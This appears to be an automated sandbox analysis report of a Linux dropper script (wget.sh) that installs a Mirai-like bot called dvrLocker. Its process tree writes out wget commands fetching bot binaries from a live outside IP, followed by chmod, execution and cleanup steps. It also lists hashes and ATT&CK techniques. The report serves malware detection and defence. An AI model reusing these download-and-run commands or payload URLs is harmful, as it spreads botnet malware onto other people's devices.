bd6ee818b79172a3d43e87463157ee94c942a321fd2ed582610962e323d0817a

Analysis

max time kernel
150s
max time network
127s
platform
debian-9_mips
resource
debian9-mipsbe-20240611-en
resource tags

arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
18/10/2024, 09:41

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

wget.sh
Size

420B
MD5

878878ef9a55d128c2917bfb365e4261
SHA1

3f95d013d7602c813cafd4be15c43c37a9c71d2e
SHA256

bd6ee818b79172a3d43e87463157ee94c942a321fd2ed582610962e323d0817a
SHA512

dfb89655ef3662bb93b765211863cdff5101a00edf9f45b741e8c401402ec429196cf97b4c4e54dfbfc7153b3c50c2ae9da5e3fab45d51a96f0f25ca6c365cf6

Score

7^/10

credential_access defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 7 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
740	chmod
744	chmod
754	chmod
777	chmod
799	chmod
732	chmod
736	chmod

Executes dropped EXE 8 IoCs

ioc	pid	Process
/mnt/dvrLocker	733	dvrLocker
/mnt/dvrLocker	737	dvrLocker
/mnt/dvrLocker	741	dvrLocker
/mnt/dvrLocker	745	dvrLocker
/mnt/dvrLocker	756	dvrLocker
/mnt/dvrLocker	778	dvrLocker
/mnt/dvrLocker	797	dvrLocker
/mnt/dvrLocker	800	dvrLocker

Modifies Watchdog functionality 1 TTPs 2 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/misc/watchdog	dvrLocker
File opened for modification	/dev/watchdog	dvrLocker

Renames itself 2 IoCs

pid	Process
778	dvrLocker
778	dvrLocker

Unexpected DNS network traffic destination 1 IoCs

Network traffic to other servers than the configured DNS servers was detected on the DNS port.

description	ioc
Destination IP	185.84.81.194

Reads process memory 1 TTPs 1 IoCs

Read the memory of a process through the /proc virtual filesystem. This can be used to steal credentials.

credential_access

Proc Filesystem

T1003.007

description	ioc	Process
File opened for reading	/proc/1/maps	dvrLocker

Changes its process name 1 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	telnetd	778	dvrLocker

System Network Configuration Discovery 1 TTPs 1 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
759	wget

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/.cc	wget.sh

/tmp/wget.sh
/tmp/wget.sh
1⤵
- Writes file to tmp directory
PID:702
- /bin/rm
  rm -rf dvrLocker
  2⤵
  PID:704
- /usr/bin/wget
  wget http://103.149.87.69/a/b/la.bot.arm -O -
  2⤵
  PID:706
- /bin/chmod
  chmod 777 dvrLocker
  2⤵
  - File and Directory Permissions Modification
  PID:732
- /mnt/dvrLocker
  ./dvrLocker
  2⤵
  - Executes dropped EXE
  PID:733
- /usr/bin/wget
  wget http://103.149.87.69/a/b/la.bot.arm5 -O -
  2⤵
  PID:735
- /bin/chmod
  chmod 777 dvrLocker
  2⤵
  - File and Directory Permissions Modification
  PID:736
- /mnt/dvrLocker
  ./dvrLocker
  2⤵
  - Executes dropped EXE
  PID:737
- /usr/bin/wget
  wget http://103.149.87.69/a/b/la.bot.arm6 -O -
  2⤵
  PID:739
- /bin/chmod
  chmod 777 dvrLocker
  2⤵
  - File and Directory Permissions Modification
  PID:740
- /mnt/dvrLocker
  ./dvrLocker
  2⤵
  - Executes dropped EXE
  PID:741
- /usr/bin/wget
  wget http://103.149.87.69/a/b/la.bot.arm7 -O -
  2⤵
  PID:743
- /bin/chmod
  chmod 777 dvrLocker
  2⤵
  - File and Directory Permissions Modification
  PID:744
- /mnt/dvrLocker
  ./dvrLocker
  2⤵
  - Executes dropped EXE
  PID:745
- /usr/bin/wget
  wget http://103.149.87.69/a/b/la.bot.m68k -O -
  2⤵
  PID:747
- /bin/chmod
  chmod 777 dvrLocker
  2⤵
  - File and Directory Permissions Modification
  PID:754
- /mnt/dvrLocker
  ./dvrLocker
  2⤵
  - Executes dropped EXE
  PID:756
- /usr/bin/wget
  wget http://103.149.87.69/a/b/la.bot.mips -O -
  2⤵
  - System Network Configuration Discovery
  PID:759
- /bin/chmod
  chmod 777 dvrLocker
  2⤵
  - File and Directory Permissions Modification
  PID:777
- /mnt/dvrLocker
  ./dvrLocker
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Renames itself
  - Reads process memory
  - Changes its process name
  PID:778
- /usr/bin/wget
  wget http://103.149.87.69/a/b/la.bot.sparc -O -
  2⤵
  PID:786
- /mnt/dvrLocker
  ./dvrLocker
  2⤵
  - Executes dropped EXE
  PID:797
- /bin/chmod
  chmod 777 dvrLocker
  2⤵
  - File and Directory Permissions Modification
  PID:799
- /mnt/dvrLocker
  ./dvrLocker
  2⤵
  - Executes dropped EXE
  PID:800
- /bin/rm
  rm -rf dvrLocker
  2⤵
  PID:802
- /bin/rm
  rm -rf /tmp/wget.sh
  2⤵
  PID:803

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

OS Credential Dumping

T1003

Proc Filesystem

T1003.007

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/mnt/dvrLocker

Filesize
54KB

MD5
db1a114307c57d7d97acf3dbe1959bf5

SHA1
a8a3d0b323ec3229ec2c06a8dfff9486cd987739

SHA256
044462feecab936afe4620ee15c24854f1f48d3b18fd5b5d07f1fda274371ead

SHA512
5924211f76c6d8a2f88fab8c8f14ec221efd8488de3ca493ec8fd0e5cfb287b2c2563184b406033f37dab9d4121203d22669415ecdf668c2e2e1f5a5c4eb517c

Download Submit
/mnt/dvrLocker

Filesize
75KB

MD5
c4d5000b9e90701b3dcfa908a267b900

SHA1
c6fb27b2ac6d639b7b5c17618208ff770cd1628e

SHA256
ada12220e1c532cf5493f8b6c885117c1f6f222a759bac53be5da4b80484b2ce

SHA512
fe5eb89c9ee302aab13602c1692bc328612e0d9d84f780e2a567a348c8a823bf91a03d325041ea8c7b92f3d7ade085dca7dd16a3e447acb71eeae3146734d01f

Download Submit
/mnt/dvrLocker

Filesize
54KB

MD5
be76a190f3b90d5cb00a5cbc15b112a4

SHA1
da8903c31f36952390ff4975683504b9ceff05ea

SHA256
9258876ed0aaf0ff28b2b68c5e1ebac8680d7dc8b5de2f67e198035b1f1d545e

SHA512
0ef32ef56b4cd888974fc1e900be3956ef23e447b4efb3c1231b11dd77596455b9a5f2927c11f2380308deeb5e97b1a8afd76c350d2d70daea9c1b862934b771

Download Submit
/mnt/dvrLocker

Filesize
54KB

MD5
e416439abb52454448f56c016daa4dea

SHA1
f5dc393e1f8b3859b3e38f38febe78aa5f20e733

SHA256
d47579b7e218ac96d3d25c3f3ad2c6a00d2af91b07687a394adfd86cf1d972df

SHA512
c92336de627399aca5e3b771b68a51e04338eb79af637776b2e5844868266dd408362c9c0aca5687b9dc6b880fe740fe3dcebcc200bff1ea7e2076ed10cf8b3d

Download Submit
/mnt/dvrLocker

Filesize
65KB

MD5
23c99866e6a90c1aa327cca2078bf089

SHA1
a78539835a6c34b0da02c08379c220b708888017

SHA256
8da57edc934cf3432607e37dfdfd7c6b461234beaf722ec0b3d49a2aea03191d

SHA512
2a6401ed67c460414bcc5a2d721718f615be2e78ac882dfce57460377a19f31ce96162d9e5a40386ddbef4cb71fa9063763d921bc944fc9f756723cb689bb39c

Download Submit
/mnt/dvrLocker

Filesize
77KB

MD5
d2c3556a910e0370ecd3997cfd8b8f69

SHA1
b220577b9ac4ff9a662bd4a66ba3c4fff878c253

SHA256
23147675e90639c0bc4d038c3c72cf9191712d730c4eec0c58a7173250fd3ea0

SHA512
e6715854ef515cf1537307bc588790f75df7487fe0e28329a425bb616b409f8a0282555bc2367eed6faad074e34043ff4f95b97c441e5ecfa011c177e713cc8c

Download Submit